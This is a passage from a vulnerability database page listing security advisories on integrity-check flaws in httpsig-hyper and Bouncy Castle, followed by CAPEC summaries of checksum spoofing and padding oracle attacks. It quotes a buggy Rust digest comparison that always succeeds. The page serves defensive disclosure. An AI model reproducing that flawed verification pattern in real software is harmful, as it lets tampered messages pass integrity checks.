      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:D/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7V42-G35V-XRCH

Vulnerability from github – Published: 2026-02-17 21:29 – Updated: 2026-02-20 16:44
VLAI
Summary
Improper Digest Verification in httpsig-hyper May Allow Message Integrity Bypass
Details

Impact

An issue was discovered in httpsig-hyper where Digest header verification could incorrectly succeed due to misuse of Rust's matches! macro. Specifically, the comparison:

if matches!(digest, _expected_digest)

treated _expected_digest as a pattern binding rather than a value comparison, resulting in unconditional success of the match expression.

As a consequence, digest verification could incorrectly return success even when the computed digest did not match the expected value.

Applications relying on Digest verification as part of HTTP message signature validation may therefore fail to detect message body modification. The severity depends on how the library is integrated and whether additional signature validation layers are enforced.

Patches

This issue has been fixed in:

  • httpsig-hyper >= 0.0.23

The fix replaces the incorrect matches! usage with proper value comparison and additionally introduces constant-time comparison for digest verification as defense-in-depth.

Regression tests have also been added to prevent reintroduction of this issue. Users are strongly advised to upgrade to the patched version.

Workarounds

There is no reliable workaround without upgrading. Users who cannot immediately upgrade should avoid relying solely on Digest verification for message integrity and ensure that full HTTP message signature verification is enforced at the application layer.

References

  • PR: https://github.com/junkurihara/httpsig-rs/pull/14
  • Follow-up hardening and test additions: https://github.com/junkurihara/httpsig-rs/pull/15
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "httpsig-hyper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26275"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354",
      "CWE-697"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-17T21:29:34Z",
    "nvd_published_at": "2026-02-19T22:16:46Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nAn issue was discovered in `httpsig-hyper` where Digest header verification could incorrectly succeed due to misuse of Rust\u0027s `matches!` macro. Specifically, the comparison:\n\n```rust\nif matches!(digest, _expected_digest)\n```\n\ntreated `_expected_digest` as a pattern binding rather than a value comparison, resulting in unconditional success of the match expression.\n\nAs a consequence, digest verification could incorrectly return success even when the computed digest did not match the expected value.\n\nApplications relying on Digest verification as part of HTTP message signature validation may therefore fail to detect message body modification. The severity depends on how the library is integrated and whether additional signature validation layers are enforced.\n\n---\n\n### Patches\n\nThis issue has been fixed in:\n\n- `httpsig-hyper` \u003e= 0.0.23\n\nThe fix replaces the incorrect `matches!` usage with proper value comparison and additionally introduces constant-time comparison for digest verification as defense-in-depth.\n\nRegression tests have also been added to prevent reintroduction of this issue. Users are strongly advised to upgrade to the patched version.\n\n---\n\n### Workarounds\n\nThere is no reliable workaround without upgrading. Users who cannot immediately upgrade should avoid relying solely on Digest verification for message integrity and ensure that full HTTP message signature verification is enforced at the application layer.\n\n---\n\n### References\n\n- PR: https://github.com/junkurihara/httpsig-rs/pull/14\n- Follow-up hardening and test additions: https://github.com/junkurihara/httpsig-rs/pull/15",
  "id": "GHSA-7v42-g35v-xrch",
  "modified": "2026-02-20T16:44:04Z",
  "published": "2026-02-17T21:29:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/junkurihara/httpsig-rs/security/advisories/GHSA-7v42-g35v-xrch"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26275"
    },
    {
      "type": "WEB",
      "url": "https://github.com/junkurihara/httpsig-rs/pull/14"
    },
    {
      "type": "WEB",
      "url": "https://github.com/junkurihara/httpsig-rs/pull/15"
    },
    {
      "type": "WEB",
      "url": "https://github.com/junkurihara/httpsig-rs/commit/5533f596c650377e02f4aa9e3eb8dba591b87370"
    },
    {
      "type": "WEB",
      "url": "https://github.com/junkurihara/httpsig-rs/commit/65cbd19b395180a4bba09a89746c4b14ccb8d297"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/junkurihara/httpsig-rs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Digest Verification in httpsig-hyper May Allow Message Integrity Bypass"
}

GHSA-833G-4XXM-R9CX

Vulnerability from github – Published: 2026-08-03 06:31 – Updated: 2026-09-02 15:34
VLAI
Details

In Bouncy Castle for Java before 1.85, CMS AuthEnvelopedData fails to enforce tag-length on decryption. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bcpkix-fips 1.0.12 (1.0.X series), 2.0.12 (2.0.X series) and 2.1.12 (2.1.X series).

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/U:Amber
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-12802"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-03T04:16:38Z",
    "severity": "HIGH"
  },
  "details": "In Bouncy Castle for Java before 1.85, CMS AuthEnvelopedData fails to enforce tag-length on decryption. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bcpkix-fips 1.0.12 (1.0.X series), 2.0.12 (2.0.X series) and 2.1.12 (2.1.X series).",
  "id": "GHSA-833g-4xxm-r9cx",
  "modified": "2026-09-02T15:34:24Z",
  "published": "2026-08-03T06:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12802"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/0fefa539e6ac5c66e1daee5a13b23d1d4769cc01"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%9012802"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE-2026-12802"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-834P-WHMM-RG5R

Vulnerability from github – Published: 2026-08-03 06:31 – Updated: 2026-09-02 15:34
VLAI
Details

In Bouncy Castle for Java before 1.85, IESEngine stream-mode MAC forgery via length-dependent KDF split. This issue also affects Bouncy Castle for Java LTS before 2.73.12.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/U:Amber
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-12816"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-03T04:16:39Z",
    "severity": "HIGH"
  },
  "details": "In Bouncy Castle for Java before 1.85, IESEngine stream-mode MAC forgery via length-dependent KDF split. This issue also affects Bouncy Castle for Java LTS before 2.73.12.",
  "id": "GHSA-834p-whmm-rg5r",
  "modified": "2026-09-02T15:34:24Z",
  "published": "2026-08-03T06:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12816"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/6d9e4bbaee9409713ada167e5f901554cbb084ac"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%9012816"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE-2026-12816"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8477-3V39-GGPM

Vulnerability from github – Published: 2022-05-13 01:01 – Updated: 2022-06-28 23:51
VLAI
Summary
Improper Validation of Integrity Check Value in Bouncy Castle
Details

The default BKS keystore use an HMAC that is only 16 bits long, which can allow an attacker to compromise the integrity of a BKS keystore. Bouncy Castle release 1.47 changes the BKS format to a format which uses a 160 bit HMAC instead. This applies to any BKS keystore generated prior to BC 1.47. For situations where people need to create the files for legacy reasons a specific keystore type "BKS-V1" was introduced in 1.49. It should be noted that the use of "BKS-V1" is discouraged by the library authors and should only be used where it is otherwise safe to do so, as in where the use of a 16 bit checksum for the file integrity check is not going to cause a security issue in itself.

Severity
4.4 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk15on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.50"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-5382"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-28T23:51:50Z",
    "nvd_published_at": "2018-04-16T14:29:00Z",
    "severity": "MODERATE"
  },
  "details": "The default BKS keystore use an HMAC that is only 16 bits long, which can allow an attacker to compromise the integrity of a BKS keystore. Bouncy Castle release 1.47 changes the BKS format to a format which uses a 160 bit HMAC instead. This applies to any BKS keystore generated prior to BC 1.47. For situations where people need to create the files for legacy reasons a specific keystore type \"BKS-V1\" was introduced in 1.49. It should be noted that the use of \"BKS-V1\" is discouraged by the library authors and should only be used where it is otherwise safe to do so, as in where the use of a 16 bit checksum for the file integrity check is not going to cause a security issue in itself.",
  "id": "GHSA-8477-3v39-ggpm",
  "modified": "2022-06-28T23:51:50Z",
  "published": "2022-05-13T01:01:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5382"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2927"
    },
    {
      "type": "WEB",
      "url": "https://www.bouncycastle.org/releasenotes.html"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/306792"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/103453"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Validation of Integrity Check Value in Bouncy Castle"
}
Mitigation
Implementation

Ensure that the checksums present in messages are properly checked in accordance with the protocol specification before they are parsed and used.

CAPEC-145: Checksum Spoofing

An adversary spoofs a checksum message for the purpose of making a payload appear to have a valid corresponding checksum. Checksums are used to verify message integrity. They consist of some value based on the value of the message they are protecting. Hash codes are a common checksum mechanism. Both the sender and recipient are able to compute the checksum based on the contents of the message. If the message contents change between the sender and recipient, the sender and recipient will compute different checksum values. Since the sender's checksum value is transmitted with the message, the recipient would know that a modification occurred. In checksum spoofing an adversary modifies the message body and then modifies the corresponding checksum so that the recipient's checksum calculation will match the checksum (created by the adversary) in the message. This would prevent the recipient from realizing that a change occurred.

CAPEC-463: Padding Oracle Crypto Attack

An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.

CAPEC-75: Manipulating Writeable Configuration Files

Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.

← Back to the CWE list